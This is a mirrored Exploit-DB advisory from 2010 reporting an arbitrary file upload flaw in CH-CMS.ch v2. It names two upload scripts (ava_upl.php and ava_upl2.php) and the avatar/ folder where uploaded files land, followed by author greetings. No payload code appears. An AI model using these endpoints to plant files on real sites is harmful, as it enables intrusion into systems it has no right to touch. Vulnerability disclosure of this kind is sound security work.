CH-CMS.ch 2 – Arbitrary File Upload - 体验盒子

作者： EL-KAHINA

日期： 2010-03-15

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/11747/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

========================================================================================

| ( Title) CH-CMS.ch-V2 Upload Vulnerability

| ( Author ) El-Kahina

| ( email) please forgive me$

| ( Web Site ) http://kewlshare.com/dl/f1b6b4d587ab/95_Final_2_bugfix_install.rar.html$

| ( Tested on) Lunix Fran�ais v.(9.10 Ubuntu)

| ( Bug) Upload

|

======================Exploit By EL-Kahina =================================

# Exploit:

1 - http://127.0.0.1/Final/login/ava_upl.php

or

2 - http://127.0.0.1/Final/login/ava_upl2.php

Stored in: avatar/

==========================================

Greetz :

Exploit-db Team :

(loneferret+Exploits+dookie2000ca)

all my friend :

(Dz-Ghost Team ) im indoushka's sister

--------------------------------------------------------------------------------------------------------------